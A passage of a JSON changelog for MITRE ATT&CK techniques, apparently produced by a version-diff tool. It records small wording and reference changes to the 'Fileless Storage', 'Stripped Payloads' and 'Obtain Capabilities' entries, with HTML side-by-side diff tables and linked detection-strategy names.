nowrap=\"nowrap\">y&nbsp;use&nbsp;fileless&nbsp;storage&nbsp;to&nbsp;conceal&nbsp;various&nbsp;types&nbsp;of&nbsp;stored&nbsp;da</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ata,&nbsp;including&nbsp;payloads/shellcode&nbsp;(potentially&nbsp;being&nbsp;used&nbsp;as</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ta,&nbsp;including&nbsp;payloads/shellcode&nbsp;(potentially&nbsp;being&nbsp;used&nbsp;as&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;part&nbsp;of&nbsp;[Persistence](https://attack.mitre.org/tactics/TA00</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">part&nbsp;of&nbsp;[Persistence](https://attack.mitre.org/tactics/TA000</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">03))&nbsp;and&nbsp;collected&nbsp;data&nbsp;not&nbsp;yet&nbsp;exfiltrated&nbsp;from&nbsp;the&nbsp;victim&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">3))&nbsp;and&nbsp;collected&nbsp;data&nbsp;not&nbsp;yet&nbsp;exfiltrated&nbsp;from&nbsp;the&nbsp;victim&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(e.g.,&nbsp;[Local&nbsp;Data&nbsp;Staging](https://attack.mitre.org/techniq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.g.,&nbsp;[Local&nbsp;Data&nbsp;Staging](https://attack.mitre.org/techniqu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1074/001)).&nbsp;Adversaries&nbsp;also&nbsp;often&nbsp;encrypt,&nbsp;encode,&nbsp;spl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1074/001)).&nbsp;Adversaries&nbsp;also&nbsp;often&nbsp;encrypt,&nbsp;encode,&nbsp;spli</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ice,&nbsp;or&nbsp;otherwise&nbsp;obfuscate&nbsp;this&nbsp;fileless&nbsp;data&nbsp;when&nbsp;stored.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce,&nbsp;or&nbsp;otherwise&nbsp;obfuscate&nbsp;this&nbsp;fileless&nbsp;data&nbsp;when&nbsp;stored.&nbsp;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Some&nbsp;forms&nbsp;of&nbsp;fileless&nbsp;storage&nbsp;activity&nbsp;may&nbsp;indirectly&nbsp;cre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Some&nbsp;forms&nbsp;of&nbsp;fileless&nbsp;storage&nbsp;activity&nbsp;may&nbsp;indirectly&nbsp;crea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;artifacts&nbsp;in&nbsp;the&nbsp;file&nbsp;system,&nbsp;but&nbsp;in&nbsp;central&nbsp;and&nbsp;otherwi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;artifacts&nbsp;in&nbsp;the&nbsp;file&nbsp;system,&nbsp;but&nbsp;in&nbsp;central&nbsp;and&nbsp;otherwis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;difficult&nbsp;to&nbsp;inspect&nbsp;formats&nbsp;such&nbsp;as&nbsp;the&nbsp;WMI&nbsp;(e.g.,&nbsp;`%Sys</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;difficult&nbsp;to&nbsp;inspect&nbsp;formats&nbsp;such&nbsp;as&nbsp;the&nbsp;WMI&nbsp;(e.g.,&nbsp;`%Syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">temRoot%\\System32\\Wbem\\Repository`)&nbsp;or&nbsp;Registry&nbsp;(e.g.,&nbsp;`%Sys</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emRoot%\\System32\\Wbem\\Repository`)&nbsp;or&nbsp;Registry&nbsp;(e.g.,&nbsp;`%Syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">temRoot%\\System32\\Config`)&nbsp;physical&nbsp;files.(Citation:&nbsp;Microso</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emRoot%\\System32\\Config`)&nbsp;physical&nbsp;files.(Citation:&nbsp;Microsof</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ft&nbsp;Fileless)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Fileless)&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0344: Detection Strategy for Fileless Storage via Registry, WMI, and Shared Memory"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2022-09-29 18:30:12.244000+00:00",
                    "modified": "2026-11-03 21:24:50.844000+00:00",
                    "name": "Stripped Payloads",
                    "description": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variable names and other strings that help developers document code functionality. Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1027/008",
                            "external_id": "T1027.008"
                        },
                        {
                            "source_name": "intezer stripped binaries elf files 2018",
                            "description": "Ignacio Sanmillan. (2018, February 7). Executable and Linkable Format 101. Part 2: Symbols. Retrieved September 29, 2022.",
                            "url": "https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/"
                        },
                        {
                            "source_name": "SentinelLabs reversing run-only applescripts 2021",
                            "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
                            "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
                        },
                        {
                            "source_name": "Mandiant golang stripped binaries explanation",
                            "description": "STEPHEN ECKELS. (2022, February 28). Ready, Set, Go \u2014 Golang Internals and Symbol Recovery. Retrieved September 29, 2022.",
                            "url": "https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:24:50.844000+00:00\", \"old_value\": \"2026-05-12 15:12:00.624000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variable names and other strings that help developers document code functionality. Symbols are often created by an operating system\\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\\n\\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)\", \"old_value\": \"Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\\n\\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\\n+Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variable names and other strings that help developers document code functionality. Symbols are often created by an operating system\\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\\n \\n Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to15__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to15__0\"><a href=\"#difflib_chg_to15__top\">t</a></td><td class=\"diff_header\" id=\"from15_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;make&nbsp;a&nbsp;payload&nbsp;difficult&nbsp;to&nbsp;analy</td><td class=\"diff_next\"><a href=\"#difflib_chg_to15__top\">t</a></td><td class=\"diff_header\" id=\"to15_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;make&nbsp;a&nbsp;payload&nbsp;difficult&nbsp;to&nbsp;analy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ze&nbsp;by&nbsp;removing&nbsp;symbols,&nbsp;strings,&nbsp;and&nbsp;other&nbsp;human&nbsp;readable&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ze&nbsp;by&nbsp;removing&nbsp;symbols,&nbsp;strings,&nbsp;and&nbsp;other&nbsp;human&nbsp;readable&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">formation.&nbsp;Scripts&nbsp;and&nbsp;executables&nbsp;may&nbsp;contain&nbsp;variable<span class=\"diff_chg\">s&nbsp;nam</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">formation.&nbsp;Scripts&nbsp;and&nbsp;executables&nbsp;may&nbsp;contain&nbsp;variable<span class=\"diff_chg\">&nbsp;name</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">es&nbsp;and&nbsp;other</span>&nbsp;strings&nbsp;that&nbsp;help&nbsp;developers&nbsp;document&nbsp;code&nbsp;func</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">s&nbsp;and&nbsp;other</span>&nbsp;strings&nbsp;that&nbsp;help&nbsp;developers&nbsp;document&nbsp;code&nbsp;funct</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tionality.&nbsp;Symbols&nbsp;are&nbsp;often&nbsp;created&nbsp;by&nbsp;an&nbsp;operating&nbsp;system\u2019</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ionality.&nbsp;Symbols&nbsp;are&nbsp;often&nbsp;created&nbsp;by&nbsp;an&nbsp;operating&nbsp;system\u2019s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;`linker`&nbsp;when&nbsp;executable&nbsp;payloads&nbsp;are&nbsp;compiled.&nbsp;Reverse&nbsp;en</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`linker`&nbsp;when&nbsp;executable&nbsp;payloads&nbsp;are&nbsp;compiled.&nbsp;Reverse&nbsp;eng</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gineers&nbsp;use&nbsp;these&nbsp;symbols&nbsp;and&nbsp;strings&nbsp;to&nbsp;analyze&nbsp;code&nbsp;and&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ineers&nbsp;use&nbsp;these&nbsp;symbols&nbsp;and&nbsp;strings&nbsp;to&nbsp;analyze&nbsp;code&nbsp;and&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;identify&nbsp;functionality&nbsp;in&nbsp;payloads.(Citation:&nbsp;Mandiant&nbsp;gola</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">identify&nbsp;functionality&nbsp;in&nbsp;payloads.(Citation:&nbsp;Mandiant&nbsp;golan</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;stripped&nbsp;binaries&nbsp;explanation)(Citation:&nbsp;intezer&nbsp;stripped</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;stripped&nbsp;binaries&nbsp;explanation)(Citation:&nbsp;intezer&nbsp;stripped&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;binaries&nbsp;elf&nbsp;files&nbsp;2018)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;stripped&nbsp;payl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">binaries&nbsp;elf&nbsp;files&nbsp;2018)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;stripped&nbsp;paylo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oads&nbsp;in&nbsp;order&nbsp;to&nbsp;make&nbsp;malware&nbsp;analysis&nbsp;more&nbsp;difficult.&nbsp;For&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ads&nbsp;in&nbsp;order&nbsp;to&nbsp;make&nbsp;malware&nbsp;analysis&nbsp;more&nbsp;difficult.&nbsp;For&nbsp;ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xample,&nbsp;compilers&nbsp;and&nbsp;other&nbsp;tools&nbsp;may&nbsp;provide&nbsp;features&nbsp;to&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ample,&nbsp;compilers&nbsp;and&nbsp;other&nbsp;tools&nbsp;may&nbsp;provide&nbsp;features&nbsp;to&nbsp;rem</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">move&nbsp;or&nbsp;obfuscate&nbsp;strings&nbsp;and&nbsp;symbols.&nbsp;Adversaries&nbsp;have&nbsp;also</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ove&nbsp;or&nbsp;obfuscate&nbsp;strings&nbsp;and&nbsp;symbols.&nbsp;Adversaries&nbsp;have&nbsp;also&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;stripped&nbsp;payload&nbsp;formats,&nbsp;such&nbsp;as&nbsp;run-only&nbsp;AppleScript</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used&nbsp;stripped&nbsp;payload&nbsp;formats,&nbsp;such&nbsp;as&nbsp;run-only&nbsp;AppleScripts</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;a&nbsp;compiled&nbsp;and&nbsp;stripped&nbsp;version&nbsp;of&nbsp;[AppleScript](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;a&nbsp;compiled&nbsp;and&nbsp;stripped&nbsp;version&nbsp;of&nbsp;[AppleScript](https://a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1059/002),&nbsp;to&nbsp;evade&nbsp;detection&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1059/002),&nbsp;to&nbsp;evade&nbsp;detection&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;analysis.&nbsp;The&nbsp;lack&nbsp;of&nbsp;human-readable&nbsp;information&nbsp;may&nbsp;dire</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;analysis.&nbsp;The&nbsp;lack&nbsp;of&nbsp;human-readable&nbsp;information&nbsp;may&nbsp;direc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctly&nbsp;hinder&nbsp;detection&nbsp;and&nbsp;analysis&nbsp;of&nbsp;payloads.(Citation:&nbsp;Se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tly&nbsp;hinder&nbsp;detection&nbsp;and&nbsp;analysis&nbsp;of&nbsp;payloads.(Citation:&nbsp;Sen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntinelLabs&nbsp;reversing&nbsp;run-only&nbsp;applescripts&nbsp;2021)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tinelLabs&nbsp;reversing&nbsp;run-only&nbsp;applescripts&nbsp;2021)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0019: Detection Strategy for Stripped Payloads Across Platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-01 01:56:24.776000+00:00",
                    "modified": "2026-11-04 03:28:51.511000+00:00",
                    "name": "Obtain Capabilities",
                    "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "resource-development"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1588",
                            "external_id": "T1588"
                        },
                        {
                            "source_name": "PegasusCitizenLab",
                            "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
                            "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
                        },
                        {
                            "source_name": "DiginotarCompromise",
                            "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
                            "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
                        },
                        {
                            "source_name": "NationsBuying",
                            "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
                            "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:28:51.511000+00:00\", \"old_value\": \"2025-10-24 17:49:24.545000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\\n\\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\\n\\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)\", \"old_value\": \"Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\\n\\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\\n\\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\\n \\n-In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\\n+In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\\n \\n In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"FireEyeSupplyChain\", \"description\": \"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.\", \"url\": \"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop\"}, \"root['external_references'][4]\": {\"source_name\": \"Recorded Future Beacon Certificates\", \"description\": \"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.\", \"url\": \"https://www.recordedfuture.com/research/cobalt-strike-servers\"}, \"root['external_references'][5]\": {\"source_name\": \"Splunk Kovar Certificates 2017\", \"description\": \"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.\", \"url\": \"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html\"}, \"root['external_references'][6]\": {\"source_name\": \"Analyzing CS Dec 2020\", \"description\": \"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.\", \"url\": \"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to44__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to44__0\"><a href=\"#difflib_chg_to44__top\">t</a></td><td class=\"diff_header\" id=\"from44_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;buy&nbsp;and/or&nbsp;steal&nbsp;capabilities&nbsp;that&nbsp;can&nbsp;be&nbsp;us</td><td class=\"diff_next\"><a href=\"#difflib_chg_to44__top\">t</a></td><td class=\"diff_header\" id=\"to44_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;buy&nbsp;and/or&nbsp;steal&nbsp;capabilities&nbsp;that&nbsp;can&nbsp;be&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 